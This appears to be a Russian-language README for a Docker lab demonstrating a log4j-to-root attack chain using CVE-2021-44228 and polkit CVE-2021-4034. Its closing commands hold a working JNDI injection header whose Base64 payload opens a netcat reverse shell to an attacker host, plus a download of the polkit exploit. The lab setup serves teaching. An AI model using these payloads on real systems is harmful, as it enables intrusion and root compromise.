
Уязвимая среда для демонстрации цепочки атак через log4j CVE-2021-44228 с повышением привилегий до root с использованием эксплойта polkit CVE-2021-4034
Уязвимый экземпляр для эксплуатации log4j apache и повышения привилегий с помощью polkit
Уязвимый экземпляр будет запущен и будет прослушивать соединения на порту 80 (доступен с хост-машины) после выполнения шагов ниже. Уязвимой частью для эксплуатации log4j является заголовок X-Api-Version, отправляемый на сервер.
Docker: log4j-polkit-vulnerable-server
шаги для загрузки и запуска уязвимого docker-образа:
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
шаги для создания уязвимого экземпляра для log4j + polkit вручную:
Примечание: Dockerfile требуют определённых версий уязвимых приложений, которые должны присутствовать в репозиториях ubuntu. Если они будут обновлены и/или удалены в любой момент времени, docker-образ не соберётся. Чтобы решить эту проблему, образ будет загружен на docker hub и указан здесь.
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
Это имитирует машину атакующего, в данном случае находящуюся в той же сети (из-за лёгкой связи между docker-контейнерами), но эксплойт работает независимо от того, где находится этот сервер атаки (единственное условие — он должен быть доступен жертве). Вредоносный JNDI-сервер будет размещён здесь и создаст вредоносный класс для выполнения произвольных команд на машине жертвы.
шаги для создания имитируемой машины атакующего:
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # в docker-контейнере
команды из poc-видео
Примечание: IP-адрес attackserver может отличаться
# Эксплойт Log4j
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Эксплойт Polkit
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c